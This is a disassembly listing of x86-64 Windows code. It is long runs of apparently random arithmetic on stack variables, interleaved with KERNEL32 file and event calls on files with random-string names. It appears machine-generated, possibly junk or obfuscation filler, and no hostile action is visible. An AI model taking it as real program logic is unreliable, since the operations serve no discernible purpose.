mov eax, ecx
mov rcx, qword [rsp + 0x19e8]
mov dword [rcx], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x38db
mov rcx, qword [rsp + 0x3ee0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x112c], eax
movsx eax, byte [rsp + 0x1c6]
movsx ecx, byte [rsp + 0x136]
and eax, ecx
mov byte [rsp + 0x549], al
movzx eax, word [rsp + 0xf24]
movzx ecx, word [rsp + 0x5dc]
sar eax, cl
mov word [rsp + 0xef4], ax
mov rax, qword [0x1400fd438]
mov rcx, qword [rsp + 0x12b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1400fd7f8], rax
mov rax, qword [rsp + 0x340]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3ee8]
add eax, dword [rcx]
mov dword [rsp + 0x1a98], eax
lea rax, [rsp + 0x929]
mov qword [rsp + 0x5008], rax
movsx eax, word [0x1400fd210]
movsx ecx, word [rsp + 0x218]
shl eax, cl
mov word [rsp + 0x258], ax
mov rcx, qword [rsp + 0x7b8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x42ec], eax
lea rax, [rsp + 0x160]
mov qword [rsp + 0x3998], rax
mov rax, qword [rsp + 0x4080]
mov rcx, qword [rsp + 0x2920]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x2600], rax
mov rax, qword [rsp + 0x2d98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3ef0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x3ff], al
lea rax, [rsp + 0xac4]
mov qword [rsp + 0x3cb8], rax
movsx eax, word [rsp + 0x4c4]
movsx ecx, word [rsp + 0x84c]
sar eax, cl
mov rcx, qword [rsp + 0x2dc0]
mov word [rcx], ax
mov rax, qword [rsp + 0xda8]
movzx eax, word [rax]
mov word [0x1400fd8a0], ax
mov rax, qword [rsp + 0x2b70]
mov rax, qword [rax]
mov qword [rsp + 0x3ca8], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x4868
mov rcx, qword [rsp + 0x3088]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1a78], eax
mov rax, qword [rsp + 0x2430]
mov rcx, qword [rsp + 0x17e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d80], rax
mov rax, qword [rsp + 0x3d20]
mov rcx, qword [0x1400fd298]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1540], rax
movzx eax, word [rsp + 0x6d4]
mov word [rsp + 0x2080], ax
mov rax, qword [rsp + 0x3798]
mov rcx, qword [rsp + 0x37a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3ef8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7f0]
mov ecx, dword [rsp + 0x13cc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3484], eax
mov rax, qword [rsp + 0x3f00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2cd]
and eax, ecx
mov rcx, qword [rsp + 0x2418]
mov byte [rcx], al
mov eax, dword [rsp + 0x2178]
mov dword [rsp + 0x42e8], eax
mov rax, qword [rsp + 0x1c78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe44]
sub eax, ecx
mov rcx, qword [rsp + 0x30d0]
mov byte [rcx], al
mov rcx, qword [rsp + 0x2ff8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x8f4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.XsrRmiHcwhgLWgN
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5670], rax
mov rcx, qword [rsp + 0x1b90]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x3480], eax
movsx eax, word [rsp + 0x5a8]
mov rcx, qword [rsp + 0x1ef8]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1400fc550], ax
mov rax, qword [rsp + 0x10a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1168]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x468]
mov word [rcx], ax
movzx eax, word [rsp + 0x2028]
movzx ecx, word [rsp + 0x6dc]
and eax, ecx
mov word [rsp + 0x202c], ax
mov rax, qword [rsp + 0x2fe8]
mov rcx, qword [0x1400fd588]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x3058], rax
lea rax, [rsp + 0x3908]
mov qword [rsp + 0x4db0], rax
mov eax, dword [rsp + 0xbb8]
movzx ecx, al
mov eax, dword [rsp + 0x10d4]
shl eax, cl
mov dword [rsp + 0x10d0], eax
mov rax, qword [rsp + 0x1f18]
movsx eax, byte [rax]
movsx ecx, byte [0x1400fc383]
or eax, ecx
mov byte [rsp + 0x3ee], al
lea rax, [rsp + 0xea4]
mov qword [rsp + 0x5678], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xf89d
mov rcx, qword [rsp + 0x1048]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2180], eax
mov rax, qword [rsp + 0x1358]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x22f8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x4d4], ax
mov rax, qword [rsp + 0x2590]
mov rcx, qword [0x1400fd460]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1400fc588], rax
movzx eax, word [rsp + 0x8a0]
mov word [rsp + 0x15f0], ax
mov rax, qword [rsp + 0x2a18]
mov rax, qword [rax]
add rax, qword [rsp + 0x1140]
mov rcx, qword [rsp + 0x37a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f08]
mov rcx, qword [0x1400fd7d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1d28], rax
movsx eax, byte [rsp + 0x16f]
movsx ecx, byte [rsp + 0x136]
sub eax, ecx
mov byte [rsp + 0xe43], al
mov rax, qword [rsp + 0x3f10]
mov rcx, qword [0x1400fd380]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4d88]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5680], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x9389
mov rcx, qword [rsp + 0x808]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x196c], eax
lea rax, [rsp + 0x1968]
mov qword [rsp + 0x5040], rax
mov rcx, qword [rsp + 0x3260]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x26a4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.jgNMi3kzYWN
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5688], rax
mov rax, qword [rsp + 0x1090]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x400]
cdq
idiv ecx
mov rcx, qword [rsp + 0x32f8]
mov byte [rcx], al
mov eax, dword [rsp + 0x11b4]
mov ecx, dword [rsp + 0x8f8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x330], eax
movsx eax, word [rsp + 0x6d4]
mov rcx, qword [rsp + 0x1710]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1400fc4dc], ax
mov rax, qword [rsp + 0x2f8]
movzx eax, word [rax]
mov word [rsp + 0x35dc], ax
movzx eax, word [rsp + 0x850]
movzx ecx, word [rsp + 0x3a0]
sub eax, ecx
mov word [rsp + 0xed4], ax
lea rax, [rsp + 0x4dc]
mov qword [rsp + 0x3ff8], rax
mov eax, dword [rsp + 0x2168]
mov ecx, dword [rsp + 0x684]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x11f0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x136]
mov byte [rsp + 0x1d54], al
mov rax, qword [0x1400fd380]
mov rcx, qword [rsp + 0x1870]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x2fe0], rax
movsx eax, word [rsp + 0x444]
mov rcx, qword [rsp + 0x1ef8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x490], ax
mov rax, qword [rsp + 0x3018]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1f60]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1654], ax
lea rax, [rsp + 0x2448]
mov qword [0x1400fd8a8], rax
mov rax, qword [rsp + 0x2c00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1d38]
add rax, qword [rcx]
mov rcx, qword [rsp + 0x2fe8]
mov qword [rcx], rax
lea rax, [0x1400fd2e8]
mov qword [rsp + 0x3b48], rax
mov rax, qword [rsp + 0xf68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3b80]
mov qword [rsp + 0x4d90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4d90]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x2dd8]
mov qword [rcx], rax
movzx eax, word [rsp + 0xd4]
mov rcx, qword [rsp + 0xdb0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x438], ax
lea rax, [rsp + 0x1918]
mov qword [rsp + 0x3d18], rax
movzx eax, byte [rsp + 0x91]
mov rcx, qword [rsp + 0x19c8]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x1998]
mov byte [rcx], al
lea rax, [rsp + 0x1388]
mov qword [rsp + 0x3310], rax
mov rcx, qword [rsp + 0x4178]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x67c], eax
movsx eax, byte [rsp + 0x91f]
movsx ecx, byte [rsp + 0x581]
and eax, ecx
mov byte [rsp + 0x10b], al
mov rax, qword [rsp + 0x1890]
mov rcx, qword [rsp + 0x3bd0]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x1400fd800]
mov qword [rcx], rax
mov rax, qword [rsp + 0x18d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9d0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1490]
mov word [rcx], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x2c66
mov rcx, qword [rsp + 0x4d98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2780], eax
mov rcx, qword [rsp + 0x4da0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2114], eax
lea rax, [rsp + 0xab8]
mov qword [rsp + 0x3170], rax
mov rax, qword [rsp + 0xd10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14c]
and eax, ecx
mov rcx, qword [rsp + 0x3380]
mov word [rcx], ax
mov rax, qword [rsp + 0x14d0]
mov qword [rsp + 0x4e98], rax
mov rax, qword [0x1400fd4c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2b08]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x22d], al
mov r9d, 1
xor r8d, r8d
mov edx, 0x8ac
mov rcx, qword [rsp + 0x3970]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x11ac], eax
mov eax, dword [rsp + 0x26d4]
mov ecx, dword [rsp + 0x574]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x26a8], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3ca0], rax
mov rax, qword [rsp + 0x1af0]
mov rcx, qword [0x1400fd800]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x3f18], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x65e4
mov rcx, qword [rsp + 0x37b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1130], eax
mov rax, qword [rsp + 0x1490]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc28]
shl eax, cl
mov word [rsp + 0x43c], ax
lea rax, [rsp + 0xc08]
mov qword [0x1400fd8b0], rax
lea rax, [rsp + 0x29a0]
mov qword [rsp + 0x2e30], rax
movzx eax, word [0x1400fc510]
movzx ecx, word [rsp + 0x2d8]
or eax, ecx
mov rcx, qword [rsp + 0x1768]
mov word [rcx], ax
mov eax, dword [rsp + 0x11a0]
mov dword [rsp + 0x272c], eax
mov rax, qword [rsp + 0x830]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1828]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x38a0]
mov byte [rcx], al
mov rcx, qword [rsp + 0x4da8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2118], eax
mov rax, qword [rsp + 0x30a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1b88]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4db0]
mov qword [rcx], rax
lea rax, [rsp + 0x917]
mov qword [rsp + 0x4078], rax
mov rax, qword [rsp + 0x3280]
mov rcx, qword [0x1400fd1f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xce0], eax
mov rax, qword [rsp + 0x2930]
movzx eax, word [rax]
mov word [rsp + 0x35d8], ax
mov rax, qword [rsp + 0x1538]
movzx eax, word [rax]
mov word [0x1400fd8b8], ax
mov rax, qword [rsp + 0x19f8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x30b0]
sar rax, cl
mov qword [rsp + 0xc58], rax
mov rax, qword [rsp + 0x4170]
mov rcx, qword [rsp + 0x3350]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4db8], rax
lea rax, [rsp + 0xc44]
mov qword [rsp + 0x5690], rax
mov rax, qword [rsp + 0x2620]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2978]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x854], ax
mov rax, qword [rsp + 0x2be0]
mov rcx, qword [rsp + 0x7c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2d68], rax
mov rax, qword [rsp + 0x3cb8]
mov rcx, qword [rsp + 0xd58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x1ef0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x538]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3eb]
sar eax, cl
mov byte [rsp + 0x918], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.jtH6vY6QbVA4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5698], rax
mov rcx, qword [rsp + 0x3f20]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x200]
mov rax, qword [rax]
mov qword [rsp + 0x3ae0], rax
mov rax, qword [rsp + 0xf50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1fc8]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1400fd498], ax
mov rax, qword [rsp + 0x3f28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x858]
xor eax, ecx
mov word [rsp + 0xbe4], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x26d
mov rcx, qword [rsp + 0x2928]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa40], eax
mov eax, dword [rsp + 0x9f0]
movzx ecx, al
mov eax, dword [rsp + 0x2744]
shl eax, cl
mov dword [rsp + 0x269c], eax
mov rax, qword [rsp + 0xd98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x401]
sub eax, ecx
mov byte [rsp + 0x402], al
mov rcx, qword [rsp + 0x37b8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x277c], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x3583
mov rcx, qword [rsp + 0x3f30]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcc4], eax
mov rcx, qword [rsp + 0x3f60]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x42e4], eax
lea rax, [rsp + 0x2640]
mov qword [rsp + 0x5160], rax
mov rax, qword [rsp + 0x2098]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2958]
add rax, qword [rcx]
mov rcx, qword [rsp + 0x3f38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x37c0]
movsx eax, byte [rax]
mov rcx, qword [0x1400fd628]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1b9], al
mov eax, dword [rsp + 0x138c]
mov dword [rsp + 0x42e0], eax
mov rax, qword [rsp + 0x1b60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1488]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x5e0], ax
movzx eax, word [rsp + 0x14c]
mov word [0x1400fd8bc], ax
mov rax, qword [rsp + 0x1d20]
mov rax, qword [rax]
mov qword [rsp + 0x3a30], rax
movzx eax, word [rsp + 0x5bc]
mov rcx, qword [rsp + 0x3340]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x858], ax
mov rax, qword [rsp + 0x4dc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab4]
and eax, ecx
mov rcx, qword [rsp + 0x958]
mov word [rcx], ax
lea rax, [rsp + 0x2ff0]
mov qword [rsp + 0x4eb8], rax
mov rax, qword [rsp + 0x12a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3378]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4dc8]
mov qword [rcx], rax
lea rax, [rsp + 0x674]
mov qword [rsp + 0x5390], rax
mov rax, qword [rsp + 0x2ac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15d]
add eax, ecx
mov byte [rsp + 0x16e], al
mov r9d, 1
xor r8d, r8d
mov edx, 0x6fce
mov rcx, qword [rsp + 0x37c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13c8], eax
mov rax, qword [rsp + 0x1ae8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3188]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe0], ax
mov rax, qword [0x1400fd710]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1038]
add rcx, rax
mov rax, rcx
mov qword [0x1400fd620], rax
movzx eax, byte [rsp + 0x139]
mov rcx, qword [rsp + 0x32c8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x932], al
mov rcx, qword [rsp + 0x2ff8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x347c]
mov ecx, dword [rsp + 0x214c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x94], eax
lea rax, [rsp + 0x250]
mov qword [rsp + 0x3910], rax
movzx eax, word [rsp + 0x710]
mov rcx, qword [rsp + 0x2638]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2c4], ax
mov rax, qword [rsp + 0x2c38]
movsx eax, byte [rax]
mov rcx, qword [0x1400fd330]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x582], al
mov rax, qword [rsp + 0xfd0]
mov rax, qword [rax]
mov qword [rsp + 0x56a0], rax
mov rax, qword [rsp + 0x3b70]
mov ecx, dword [rsp + 0x1388]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xe20], eax
movsx eax, word [rsp + 0x70c]
mov rcx, qword [0x1400fd228]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf00], ax
mov rax, qword [rsp + 0x1f60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2a70]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fd880], ax
mov rax, qword [rsp + 0x38b0]
mov rcx, qword [rsp + 0x3000]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3f40], rax
lea rax, [rsp + 0x2430]
mov qword [rsp + 0x5370], rax
mov rax, qword [rsp + 0x3fb0]
movzx ecx, al
mov rax, qword [rsp + 0x37d0]
sar rax, cl
mov rcx, qword [rsp + 0x2950]
mov qword [rcx], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xe5d2
mov rcx, qword [rsp + 0x2d80]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x42dc], eax
movsx eax, word [rsp + 0x110]
mov rcx, qword [rsp + 0x3008]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x4c8], ax
mov rax, qword [rsp + 0x4dd0]
movzx eax, byte [rax]
mov byte [rsp + 0xe35], al
mov rax, qword [rsp + 0x3830]
mov eax, dword [rax]
add eax, dword [rsp + 0x138c]
mov dword [rsp + 0x1ac8], eax
mov rax, qword [rsp + 0x12a0]
mov rax, qword [rax]
mov qword [rsp + 0x4e90], rax
movzx eax, byte [rsp + 0x229]
movzx ecx, byte [rsp + 0xf8]
sub eax, ecx
mov rcx, qword [rsp + 0x2480]
mov byte [rcx], al
mov eax, dword [rsp + 0x9fc]
mov ecx, dword [rsp + 0x1a90]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3a98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1f30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1db8]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1400fc590], ax
lea rax, [rsp + 0x300]
mov qword [rsp + 0x2fc0], rax
mov rax, qword [rsp + 0xf70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x468]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x11f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x2240]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1fa0]
mov qword [rsp + 0x4dd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4dd8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3b60], rax
mov rax, qword [rsp + 0x2418]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa88]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x24f0]
mov byte [rcx], al
mov rcx, qword [rsp + 0x2a20]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x12a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2b38]
add rax, qword [rcx]
mov qword [rsp + 0x1780], rax
mov rax, qword [0x1400fd2c8]
mov eax, dword [rax]
mov dword [rsp + 0x42d4], eax
mov rax, qword [rsp + 0xda0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xfe8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x6b4], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x416d
mov rcx, qword [rsp + 0x2c78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1198], eax
movzx eax, word [rsp + 0x34c]
movzx ecx, word [rsp + 0xe8c]
and eax, ecx
mov word [rsp + 0xf08], ax
mov rax, qword [rsp + 0xf58]
mov rcx, qword [rsp + 0x25a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1400fd428], rax
mov rax, qword [rsp + 0x4de0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5d8]
sar eax, cl
mov rcx, qword [rsp + 0x658]
mov word [rcx], ax
mov rax, qword [rsp + 0x1d38]
mov rax, qword [rax]
mov qword [rsp + 0x56a8], rax
mov rcx, qword [rsp + 0x2af8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x42d0], eax
mov rax, qword [rsp + 0xf68]
mov rax, qword [rax]
add rax, qword [rsp + 0x2960]
mov qword [rsp + 0x17d0], rax
mov rax, qword [rsp + 0x1448]
mov rcx, qword [rsp + 0x3f48]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x37d8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x875
mov rcx, qword [rsp + 0x2648]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1ac0], eax
lea rax, [0x1400fd550]
mov qword [rsp + 0x3b38], rax
movzx eax, byte [rsp + 0x232]
mov rcx, qword [rsp + 0x1520]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x2658]
mov byte [rcx], al
mov eax, dword [rsp + 0xb4]
mov ecx, dword [rsp + 0x2690]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2740], eax
mov rcx, qword [rsp + 0x39f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1ac4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.RmtBtxucgy1dfntz0wj
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5118], rax
movsx eax, byte [rsp + 0x919]
movsx ecx, byte [rsp + 0x2de]
or eax, ecx
mov rcx, qword [rsp + 0x3fb8]
mov byte [rcx], al
mov rcx, qword [rsp + 0x1338]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2118], eax
movzx eax, word [rsp + 0x2030]
mov word [0x1400fd8c0], ax
movsx eax, word [rsp + 0x1598]
mov rcx, qword [0x1400fd668]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc18], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xecfa
mov rcx, qword [rsp + 0x1bd8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2700], eax
mov rax, qword [rsp + 0x2a70]
movzx eax, word [rax]
mov word [rsp + 0x35d4], ax
mov rcx, qword [rsp + 0x1c70]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x3f50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x16b8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x4d4], ax
mov eax, dword [rsp + 0xb8c]
mov dword [rsp + 0x42cc], eax
movsx eax, byte [str._aMl]
mov rcx, qword [rsp + 0x1510]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1bc], al
mov rax, qword [rsp + 0x30c0]
mov rcx, qword [rsp + 0x1a8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2600], rax
mov rax, qword [rsp + 0x2930]
movsx eax, word [rax]
movsx ecx, word [0x1400fc47c]
add eax, ecx
mov word [rsp + 0xebc], ax
movzx eax, word [rsp + 0x708]
movzx ecx, word [rsp + 0x220]
and eax, ecx
mov rcx, qword [rsp + 0x3268]
mov word [rcx], ax
mov rax, qword [rsp + 0x1460]
mov rcx, qword [rsp + 0x2430]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1400fc598], rax
lea rax, [0x1400fd128]
mov qword [rsp + 0x3ce8], rax
mov rax, qword [rsp + 0x19f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x748]
mov qword [rsp + 0x4de8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4de8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x37f0]
mov qword [rcx], rax
mov rax, qword [0x1400fc4a8]
mov rcx, qword [rsp + 0x2aa0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x18d0], rax
lea rax, [rsp + 0x89c]
mov qword [rsp + 0x3f70], rax
mov rax, qword [rsp + 0xdc0]
mov ecx, dword [rsp + 0x2694]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2184], eax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x3c68], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x5046
mov rcx, qword [rsp + 0x1320]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x680], eax
mov rax, qword [0x1400fd1f0]
mov ecx, dword [rsp + 0x2134]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa48]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1c7]
mov byte [rsp + 0x54b], al
mov rax, qword [rsp + 0x2420]
mov rcx, qword [rsp + 0x500]
or rcx, rax
mov rax, rcx
mov qword [0x1400fd718], rax
mov rax, qword [rsp + 0x528]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2938]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x6a0], ax
movsx eax, word [rsp + 0xab0]
mov rcx, qword [rsp + 0x2c68]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x1488]
mov word [rcx], ax
movzx eax, word [rsp + 0x600]
movzx ecx, word [0x1400fd6cc]
add eax, ecx
mov word [rsp + 0x15b8], ax
mov rax, qword [rsp + 0x17d0]
mov rcx, qword [rsp + 0xf68]
mov qword [rsp + 0x4df0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4df0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x1238]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3310]
mov eax, dword [rax]
